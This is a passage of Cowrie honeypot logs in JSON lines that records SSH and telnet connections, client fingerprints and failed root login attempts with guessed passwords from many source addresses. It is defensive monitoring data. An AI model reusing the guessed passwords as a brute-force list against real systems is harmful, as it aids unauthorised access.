s128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:47.673164Z","src_ip":"166.1.144.134","session":"796e1e8b0c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"data","message":"login attempt [root/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:48.078975Z","src_ip":"166.1.144.134","session":"796e1e8b0c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:49.185254Z","src_ip":"166.1.144.134","session":"796e1e8b0c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49640,"dst_ip":"10.17.0.5","dst_port":23,"session":"299865e95ca4","protocol":"telnet","message":"New connection: 152.42.224.71:49640 (10.17.0.5:23) [session: 299865e95ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:50.315213Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":37126,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bd41dc5363","protocol":"ssh","message":"New connection: 165.154.6.86:37126 (10.17.0.5:22) [session: 83bd41dc5363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:00.317967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:00.324766Z","src_ip":"165.154.6.86","session":"83bd41dc5363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:00.543432Z","src_ip":"165.154.6.86","session":"83bd41dc5363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":56594,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dc416dbaf52","protocol":"ssh","message":"New connection: 52.236.56.129:56594 (10.17.0.5:22) [session: 8dc416dbaf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:00.759781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:00.763997Z","src_ip":"52.236.56.129","session":"8dc416dbaf52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:00.831056Z","src_ip":"52.236.56.129","session":"8dc416dbaf52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.88295793533325,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:01.126941Z","src_ip":"152.42.224.71","session":"d316657883d8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"brick","message":"login attempt [root/brick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:01.137440Z","src_ip":"52.236.56.129","session":"8dc416dbaf52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@123456","message":"login attempt [root/pwd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:01.461192Z","src_ip":"165.154.6.86","session":"83bd41dc5363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.4366512298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:02.024732Z","src_ip":"152.42.224.71","session":"e6a64e277155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:02.221880Z","src_ip":"52.236.56.129","session":"8dc416dbaf52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:02.682473Z","src_ip":"165.154.6.86","session":"83bd41dc5363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.587010622024536,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:07.286558Z","src_ip":"152.42.224.71","session":"570b50c4c8e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.63270926475525,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:15.947819Z","src_ip":"152.42.224.71","session":"299865e95ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":19272,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec99ecb934a","protocol":"ssh","message":"New connection: 165.154.227.158:19272 (10.17.0.5:22) [session: 0ec99ecb934a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:24.450350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:24.455451Z","src_ip":"165.154.227.158","session":"0ec99ecb934a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:24.675253Z","src_ip":"165.154.227.158","session":"0ec99ecb934a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37238,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1777e78dbc","protocol":"telnet","message":"New connection: 152.42.224.71:37238 (10.17.0.5:23) [session: 9c1777e78dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:25.422712Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"51201314","message":"login attempt [root/51201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:25.579872Z","src_ip":"165.154.227.158","session":"0ec99ecb934a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54458,"dst_ip":"10.17.0.5","dst_port":23,"session":"09fa52e06a2b","protocol":"telnet","message":"New connection: 152.42.224.71:54458 (10.17.0.5:23) [session: 09fa52e06a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:26.427625Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:26.800013Z","src_ip":"165.154.227.158","session":"0ec99ecb934a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":56964,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b558bbb2a1c","protocol":"ssh","message":"New connection: 46.19.67.181:56964 (10.17.0.5:22) [session: 2b558bbb2a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:30.505371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:30.510806Z","src_ip":"46.19.67.181","session":"2b558bbb2a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:30.629148Z","src_ip":"46.19.67.181","session":"2b558bbb2a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjdthrf","message":"login attempt [root/ghjdthrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:30.989545Z","src_ip":"46.19.67.181","session":"2b558bbb2a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":49742,"dst_ip":"10.17.0.5","dst_port":22,"session":"295d75b3725e","protocol":"ssh","message":"New connection: 89.108.118.91:49742 (10.17.0.5:22) [session: 295d75b3725e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:30.997597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:31.002544Z","src_ip":"89.108.118.91","session":"295d75b3725e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:31.148510Z","src_ip":"89.108.118.91","session":"295d75b3725e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!!","message":"login attempt [root/qwerty!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:31.577456Z","src_ip":"89.108.118.91","session":"295d75b3725e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:32.109343Z","src_ip":"46.19.67.181","session":"2b558bbb2a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:32.722394Z","src_ip":"89.108.118.91","session":"295d75b3725e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":55508,"dst_ip":"10.17.0.5","dst_port":22,"session":"2339ca63a190","protocol":"ssh","message":"New connection: 119.96.193.72:55508 (10.17.0.5:22) [session: 2339ca63a190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:33.721279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:33.727073Z","src_ip":"119.96.193.72","session":"2339ca63a190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:33.989641Z","src_ip":"119.96.193.72","session":"2339ca63a190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sa123","message":"login attempt [root/Sa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:35.072060Z","src_ip":"119.96.193.72","session":"2339ca63a190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54468,"dst_ip":"10.17.0.5","dst_port":23,"session":"719d8cfbce83","protocol":"telnet","message":"New connection: 152.42.224.71:54468 (10.17.0.5:23) [session: 719d8cfbce83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:35.787555Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":57860,"dst_ip":"10.17.0.5","dst_port":22,"session":"097c81cf30fe","protocol":"ssh","message":"New connection: 103.15.222.183:57860 (10.17.0.5:22) [session: 097c81cf30fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:35.871302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:35.880310Z","src_ip":"103.15.222.183","session":"097c81cf30fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:36.130412Z","src_ip":"103.15.222.183","session":"097c81cf30fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:36.337250Z","src_ip":"119.96.193.72","session":"2339ca63a190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvthnm","message":"login attempt [root/cvthnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:36.880040Z","src_ip":"103.15.222.183","session":"097c81cf30fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:38.140918Z","src_ip":"103.15.222.183","session":"097c81cf30fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":34124,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8210835a2a6","protocol":"ssh","message":"New connection: 117.121.214.50:34124 (10.17.0.5:22) [session: f8210835a2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:45.047085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:39:45.052375Z","src_ip":"117.121.214.50","session":"f8210835a2a6","protocol":"ssh"}
